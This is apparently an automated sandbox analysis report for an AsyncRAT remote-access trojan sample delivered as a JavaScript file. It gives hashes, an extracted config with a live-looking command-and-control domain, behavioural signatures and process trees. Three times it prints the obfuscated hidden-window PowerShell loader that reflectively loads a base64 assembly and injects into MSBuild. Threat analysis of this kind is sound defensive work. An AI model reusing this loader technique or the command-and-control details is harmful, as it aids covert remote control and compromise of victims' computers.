asyncrat | 68bd8187d7cb679855efd146c7e52c6a0ea0b3251d345bfbb8556e963326bdd6

Analysis

max time kernel
298s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 09:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ilmg-Arg-Tetonassuk/ilmg-Arg-Tetonassuk.js
Size 894KB
Sample260916-lp4m8aad72
SHA256 68bd8187d7cb679855efd146c7e52c6a0ea0b3251d345bfbb8556e963326bdd6
MD5 8f7915934814a476b2b2edbebaa518dc
SHA1 9a0361f7664da29569e2f309446d38feeea6144b
SHA512 9412754c4bd0deac1a7078cc33e3613630faa9b96834ba44fe61ebd0504e053b2926bd7b310cdc9830415c79be74b67a9c193f5bd25f2647404ec3b2a2df85da
SSDEEP 1536:7vyBXAfvGBGWEBRJ4+A59LzXAP4+LHGmhFhRnQaglGb7VSdlbYze7fyQ3HGWyumL:7IGWMXCZEMsk1q
TLSH
T14915FB0573AF2423C6527072DFA7A2822E36454F2E47D46C7A5C80D82FA51AE817EF7D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

sasx discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

SASX

awcawaawl252525.duckdns.org:6679

Mutex

wvawvtfgfhfgadadadagdgdcgdgg

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	948	392	powershell.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1956	392	powershell.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4372	392	powershell.exe	88

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2288	wscript.exe
7	2288	wscript.exe
9	2288	wscript.exe
11	2288	wscript.exe
13	2288	wscript.exe
16	948	powershell.exe
23	1956	powershell.exe
24	4372	powershell.exe
30	948	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
948	powershell.exe
1956	powershell.exe
4372	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1956 set thread context of 5068	1956	powershell.exe	94
PID 4372 set thread context of 3380	4372	powershell.exe	97

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
948	powershell.exe
948	powershell.exe
1956	powershell.exe
1956	powershell.exe
4372	powershell.exe
4372	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	948	powershell.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	5068	MSBuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 5068	1956	powershell.exe	94
PID 1956 wrote to memory of 5068	1956	powershell.exe	94
PID 1956 wrote to memory of 5068	1956	powershell.exe	94
PID 1956 wrote to memory of 5068	1956	powershell.exe	94
PID 1956 wrote to memory of 5068	1956	powershell.exe	94
PID 4372 wrote to memory of 3380	4372	powershell.exe	97
PID 4372 wrote to memory of 3380	4372	powershell.exe	97
PID 4372 wrote to memory of 3380	4372	powershell.exe	97
PID 4372 wrote to memory of 3380	4372	powershell.exe	97
PID 4372 wrote to memory of 3380	4372	powershell.exe	97

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ilmg-Arg-Tetonassuk\ilmg-Arg-Tetonassuk.js
1⤵
- Badlisted process makes network request
PID:2288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$latinizing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$synangial=[System.IO.MemoryStream][Convert]::FromBase64String($latinizing);[System.Reflection.Assembly]::Load($synangial.ToArray())|Out-Null;[Win32.RMP.Cls_dsPARawPGW]::Met_dsPARawPGWNf('ZNKhz5JUfg/lPT2/YExn0GF14CWx3J6zBmz8+FSFJ4/AL5lYX50Fs6RwWeCClYygO737Q4GUDwo1wMwLnkqTKZlFyyya8Nz1OtzcNlLdN9an4OukemDaAKBKYilmaRZUEkqX1GHbSVq0CxvfWVEDm2KdyVRyR4l7spmM7T7ACLYQFePSL0jhIiBkh+q7BXcPDuTuCeFoJi91VAFPa2lk8I0HHfoaupA78aOHD67+v/8=','','kydns7WUVtHqAVZOAw4IhC5biY0mEqTuLVaurBE+PpwcyJmcFfCxhHQYBUU2KAF/','hfQCGgP+Zt8/DLFEJkjtVzqIBUwI0CT5pyXbjMKM12s=','5nWCmT/O1Hr/BxoRm9jxBRYrtM0wsThLbCyTEUpkpv8=','','mMGG3Srg6gxmChYojN4RxuSKUJ2U0aYQJb0Rbp/2aY4=','','','kZ8f/5dp1DOPPHWf9YQb9qzEav6pI/s6wXwvuQ9iIuCHJRSE/Hwt8b4FoagzYdjk','G8cUcsAV1B8V0pGiKq/H4LcuDaVgAfHTq6vxNam6uUY=','BCWWg7J0SA7vnvQexu44coqVzK83tHUrilG4B5ntme4=','Q97EJtkzaXxjTTS0FpXEUpHYkG2guba28BVz8pJXvo4=','','ceipV/8DvgqmpTXaOpUt7QtYcQDSPj1ntBYQF/gtK8U=','tauQjjoKUvJrUK34CtV59jxgI3nun3ZgJNfB7V9VpTs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$latinizing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$synangial=[System.IO.MemoryStream][Convert]::FromBase64String($latinizing);[System.Reflection.Assembly]::Load($synangial.ToArray())|Out-Null;[Win32.RMP.Cls_dsPARawPGW]::Met_dsPARawPGWNf('ZNKhz5JUfg/lPT2/YExn0GF14CWx3J6zBmz8+FSFJ4/AL5lYX50Fs6RwWeCClYygO737Q4GUDwo1wMwLnkqTKZlFyyya8Nz1OtzcNlLdN9an4OukemDaAKBKYilmaRZUEkqX1GHbSVq0CxvfWVEDm2KdyVRyR4l7spmM7T7ACLYQFePSL0jhIiBkh+q7BXcPDuTuCeFoJi91VAFPa2lk8I0HHfoaupA78aOHD67+v/8=','','kydns7WUVtHqAVZOAw4IhC5biY0mEqTuLVaurBE+PpwcyJmcFfCxhHQYBUU2KAF/','hfQCGgP+Zt8/DLFEJkjtVzqIBUwI0CT5pyXbjMKM12s=','5nWCmT/O1Hr/BxoRm9jxBRYrtM0wsThLbCyTEUpkpv8=','','mMGG3Srg6gxmChYojN4RxuSKUJ2U0aYQJb0Rbp/2aY4=','','','kZ8f/5dp1DOPPHWf9YQb9qzEav6pI/s6wXwvuQ9iIuCHJRSE/Hwt8b4FoagzYdjk','G8cUcsAV1B8V0pGiKq/H4LcuDaVgAfHTq6vxNam6uUY=','BCWWg7J0SA7vnvQexu44coqVzK83tHUrilG4B5ntme4=','Q97EJtkzaXxjTTS0FpXEUpHYkG2guba28BVz8pJXvo4=','','ceipV/8DvgqmpTXaOpUt7QtYcQDSPj1ntBYQF/gtK8U=','tauQjjoKUvJrUK34CtV59jxgI3nun3ZgJNfB7V9VpTs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$latinizing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$synangial=[System.IO.MemoryStream][Convert]::FromBase64String($latinizing);[System.Reflection.Assembly]::Load($synangial.ToArray())|Out-Null;[Win32.RMP.Cls_dsPARawPGW]::Met_dsPARawPGWNf('ZNKhz5JUfg/lPT2/YExn0GF14CWx3J6zBmz8+FSFJ4/AL5lYX50Fs6RwWeCClYygO737Q4GUDwo1wMwLnkqTKZlFyyya8Nz1OtzcNlLdN9an4OukemDaAKBKYilmaRZUEkqX1GHbSVq0CxvfWVEDm2KdyVRyR4l7spmM7T7ACLYQFePSL0jhIiBkh+q7BXcPDuTuCeFoJi91VAFPa2lk8I0HHfoaupA78aOHD67+v/8=','','kydns7WUVtHqAVZOAw4IhC5biY0mEqTuLVaurBE+PpwcyJmcFfCxhHQYBUU2KAF/','hfQCGgP+Zt8/DLFEJkjtVzqIBUwI0CT5pyXbjMKM12s=','5nWCmT/O1Hr/BxoRm9jxBRYrtM0wsThLbCyTEUpkpv8=','','mMGG3Srg6gxmChYojN4RxuSKUJ2U0aYQJb0Rbp/2aY4=','','','kZ8f/5dp1DOPPHWf9YQb9qzEav6pI/s6wXwvuQ9iIuCHJRSE/Hwt8b4FoagzYdjk','G8cUcsAV1B8V0pGiKq/H4LcuDaVgAfHTq6vxNam6uUY=','BCWWg7J0SA7vnvQexu44coqVzK83tHUrilG4B5ntme4=','Q97EJtkzaXxjTTS0FpXEUpHYkG2guba28BVz8pJXvo4=','','ceipV/8DvgqmpTXaOpUt7QtYcQDSPj1ntBYQF/gtK8U=','tauQjjoKUvJrUK34CtV59jxgI3nun3ZgJNfB7V9VpTs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 1ab23eb7c88739831dcee26ef61cfcc7d51eb7d7fd65dbaaebd6747999818d9c
MD5 c64d77c554377eaeb87701f086183ad8
SHA1 199ded664cc825da200d75454d4c8ec555ff9098
SHA512 240ebcd5ea898b21e7b14b582d0f0ca46472f1048f8ab2831933eecef2b7217645cfef6c1d0ce002fdf7011c75c7ca6368c84b03f39e8e3d5ef6b2eb65297a4b
TLSH
T11751EC323375B1D8C9167F071D68598063BF4396FA94AF1CB298621ED92641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 5c7725949861e5e7fcdd241385c7a3d8ff5b978a57584292e597b5c1f99e367d
MD5 8ca82ddc7afff786b993328935823435
SHA1 386787f5b9d53abbbf483793866272e13f49bc99
SHA512 7063bd8bd617a52ddb7058332ad2242a2e7b2f3cfe24c874b54361b40a9679e6fbeeca55211021d65cee389f0235e086038a9e136b39d95e9ae652e52b865c97
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 84c902dc888987e402e16031ec4b0bb10fd2a05a5cea3949aac78887ced3ed7f
MD5 9866cb5c21e75f2f92c8757a5afd699b
SHA1 3fd2edd438d70a8e10b4051127329ad67d57953d
SHA512 522d525f239aa9ea0dca28470d9e726c673319494ccae188d4d11e52b97746b8935ab1a5a62bd7ee221f128a5a82c14ed276b2b38a904d34976da7de917cfaf5
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_x2eheusn.xew.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2eheusn.xew.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/948-19-0x00000293EBB50000-0x00000293EBC30000-memory.dmp

Download

memory/948-10-0x00000293EE4A0000-0x00000293EE4B0000-memory.dmp

Download

memory/948-18-0x00000293EDF00000-0x00000293EDF22000-memory.dmp

Download

memory/948-45-0x00000293EE4A0000-0x00000293EE4B0000-memory.dmp

Download

memory/948-44-0x00000293EE4A0000-0x00000293EE4B0000-memory.dmp

Download

memory/948-9-0x00000293EE4A0000-0x00000293EE4B0000-memory.dmp

Download

memory/5068-27-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/5068-39-0x0000000006330000-0x00000000063CC000-memory.dmp

Download

memory/5068-40-0x0000000006980000-0x0000000006F24000-memory.dmp

Download

memory/5068-41-0x0000000006440000-0x00000000064A6000-memory.dmp

Download